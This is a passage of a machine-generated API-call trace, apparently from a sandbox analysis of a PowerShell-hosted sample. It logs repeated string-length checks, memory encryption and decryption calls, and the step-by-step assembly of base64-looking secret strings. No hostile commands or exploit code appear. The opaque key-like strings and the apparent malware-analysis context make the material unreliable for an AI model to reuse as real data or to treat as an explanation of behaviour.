(param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\xe82b\xddc0\xc249\x4635\x7dd\xa47b\x67c4\x2bbd") returned 0x20 [0127.665] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\xe82b\xddc0\xc249\x4635\x7dd\xa47b\x67c4\x2bbd") returned 0x20 [0127.665] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.665] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSww썝즜") returned 0x20 [0127.665] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.665] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x79e6\x2d03\x1af7\xecc5\xb12\xc2bb\x62c8\xcd89") returned 0x20 [0127.666] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x79e6\x2d03\x1af7\xecc5\xb12\xc2bb\x62c8\xcd89") returned 0x20 [0127.666] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.666] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwl썝즜") returned 0x20 [0127.666] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.666] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x23ae\x9adf\x2da9\x7183\x3322\xf87d\x9c0f\xf5f5") returned 0x20 [0127.666] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x23ae\x9adf\x2da9\x7183\x3322\xf87d\x9c0f\xf5f5") returned 0x20 [0127.666] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.666] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlU즜") returned 0x20 [0127.666] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.666] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\xe36e\x8102\x878a\x7c92\x1c52\x731a\xae68\x4c6c") returned 0x20 [0127.666] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\xe36e\x8102\x878a\x7c92\x1c52\x731a\xae68\x4c6c") returned 0x20 [0127.666] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.666] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUb") returned 0x20 [0127.666] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0127.666] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56") returned 0x20 [0127.666] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56") returned 0x20 [0127.666] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56") returned 0x20 [0127.666] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56") returned 0x28 [0127.666] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.666] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbM뚒폽섡≴햵候₄") returned 0x28 [0127.666] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.666] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x2e55\xf457\x88f6\x7313\xcf25\x2942\xc82e\x4331") returned 0x28 [0127.667] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x2e55\xf457\x88f6\x7313\xcf25\x2942\xc82e\x4331") returned 0x28 [0127.667] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.667] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbMn폽섡≴햵候₄") returned 0x28 [0127.667] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.667] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\xb649\x8fde\x5a6f\x2c4b\xf4ac\x8271\x1197\xcac4") returned 0x28 [0127.667] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\xb649\x8fde\x5a6f\x2c4b\xf4ac\x8271\x1197\xcac4") returned 0x28 [0127.667] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.667] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbMn5섡≴햵候₄") returned 0x28 [0127.667] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.667] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x665d\x81e1\xfe0e\xe969\x75d4\xb8a\x9470\x268c") returned 0x28 [0127.667] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x665d\x81e1\xfe0e\xe969\x75d4\xb8a\x9470\x268c") returned 0x28 [0127.667] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.667] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbMn53≴햵候₄") returned 0x28 [0127.667] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.667] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\xdfd3\x8798\xfda8\x7fd3\x802a\xd09f\xc684\x9941") returned 0x28 [0127.667] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\xdfd3\x8798\xfda8\x7fd3\x802a\xd09f\xc684\x9941") returned 0x28 [0127.667] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.667] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbMn53p햵候₄") returned 0x28 [0127.667] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.667] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x65b7\x5437\xfb4c\xcd05\xf484\x7ab3\x8858\x2773") returned 0x28 [0127.667] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x65b7\x5437\xfb4c\xcd05\xf484\x7ab3\x8858\x2773") returned 0x28 [0127.667] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.668] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbMn53pq候₄") returned 0x28 [0127.668] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.668] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x959e\x85a1\x4686\x44cb\x54ee\x3aaa\x87e7\x4ffb") returned 0x28 [0127.668] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x959e\x85a1\x4686\x44cb\x54ee\x3aaa\x87e7\x4ffb") returned 0x28 [0127.668] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.668] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbMn53pqX₄") returned 0x28 [0127.668] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.668] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\xba2d\x7a0e\x3b2f\x634b\xaedf\x5bf8\x1d16\x4e92") returned 0x28 [0127.668] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\xba2d\x7a0e\x3b2f\x634b\xaedf\x5bf8\x1d16\x4e92") returned 0x28 [0127.668] SystemFunction041 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.668] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbMn53pqXn") returned 0x28 [0127.668] SystemFunction040 (in: Memory=0x8e6fea4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fea4) returned 0x0 [0127.668] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x182b\x6cbb\x1ef2\x3c6e\x732e\x55b5\xade0\x334a") returned 0x28 [0127.668] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x182b\x6cbb\x1ef2\x3c6e\x732e\x55b5\xade0\x334a") returned 0x28 [0127.668] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x182b\x6cbb\x1ef2\x3c6e\x732e\x55b5\xade0\x334a") returned 0x28 [0127.668] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x182b\x6cbb\x1ef2\x3c6e\x732e\x55b5\xade0\x334a") returned 0x30 [0127.668] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0127.668] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbMn53pqXnA沑涺㵨럮䄠Ι") returned 0x30 [0127.668] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0127.668] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x182b\x6cbb\x1ef2\x3c6e\x732e\x55b5\xade0\x334a\x212c\x5bc6\xe585\xca5c\x4cb4\x7f6\xb6e4\x1b6b") returned 0x30 [0127.668] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x182b\x6cbb\x1ef2\x3c6e\x732e\x55b5\xade0\x334a\x212c\x5bc6\xe585\xca5c\x4cb4\x7f6\xb6e4\x1b6b") returned 0x30 [0127.668] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0127.669] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbMn53pqXnAm涺㵨럮䄠Ι") returned 0x30 [0127.669] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0127.669] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x182b\x6cbb\x1ef2\x3c6e\x732e\x55b5\xade0\x334a\xa24\xfef7\xb141\x2a63\xc6f8\x368b\x6bc9\xe91f") returned 0x30 [0127.669] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x182b\x6cbb\x1ef2\x3c6e\x732e\x55b5\xade0\x334a\xa24\xfef7\xb141\x2a63\xc6f8\x368b\x6bc9\xe91f") returned 0x30 [0127.669] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0127.669] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbMn53pqXnAmU㵨럮䄠Ι") returned 0x30 [0127.669] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0127.669] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x182b\x6cbb\x1ef2\x3c6e\x732e\x55b5\xade0\x334a\x61da\x8afb\xa5fe\x434\xdee2\xba7d\x4fa\x3ece") returned 0x30 [0127.669] SysStringLen (param_1="\x2dd3\xf6e3\xac08\xa7e\x6303\x4b30\x77ab\x2074\xabb\x49f4\x5424\xa13b\x6844\x56e5\xd528\xd280\xf11a\x3159\xd070\x127c\xd00c\xe618\x86a6\xf94f\x4aa6\xe9f0\xdc44\xa20\x3d83\x30c5\xc4e3\xab56\x182b\x6cbb\x1ef2\x3c6e\x732e\x55b5\xade0\x334a\x61da\x8afb\xa5fe\x434\xdee2\xba7d\x4fa\x3ece") returned 0x30 [0127.669] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0127.669] SysStringLen (param_1="JIQIpcfWYqfV+mRYwonvkhTYIoSwwlUbMn53pqXnAmU=럮䄠Ι") returned 0x30 [0127.669] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0127.669] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.669] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.669] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.669] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0127.669] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.669] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.669] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.670] SysStringLen (param_1="") returned 0x8 [0127.670] SysStringLen (param_1="Y") returned 0x8 [0127.670] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.670] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.670] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0127.670] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.670] SysStringLen (param_1="YW") returned 0x8 [0127.670] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.670] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.670] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0127.670] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.670] SysStringLen (param_1="YWM") returned 0x8 [0127.670] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.670] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.670] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0127.670] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.670] SysStringLen (param_1="YWM1") returned 0x8 [0127.670] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.671] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.671] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0127.671] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.671] SysStringLen (param_1="YWM1O") returned 0x8 [0127.671] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.671] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.671] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0127.671] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.671] SysStringLen (param_1="YWM1OT") returned 0x8 [0127.671] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.671] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.671] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0127.671] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.671] SysStringLen (param_1="YWM1OTE") returned 0x8 [0127.671] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.671] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.671] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0127.671] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.671] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0127.671] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0127.671] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.671] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.671] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0127.672] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0127.672] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0127.672] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 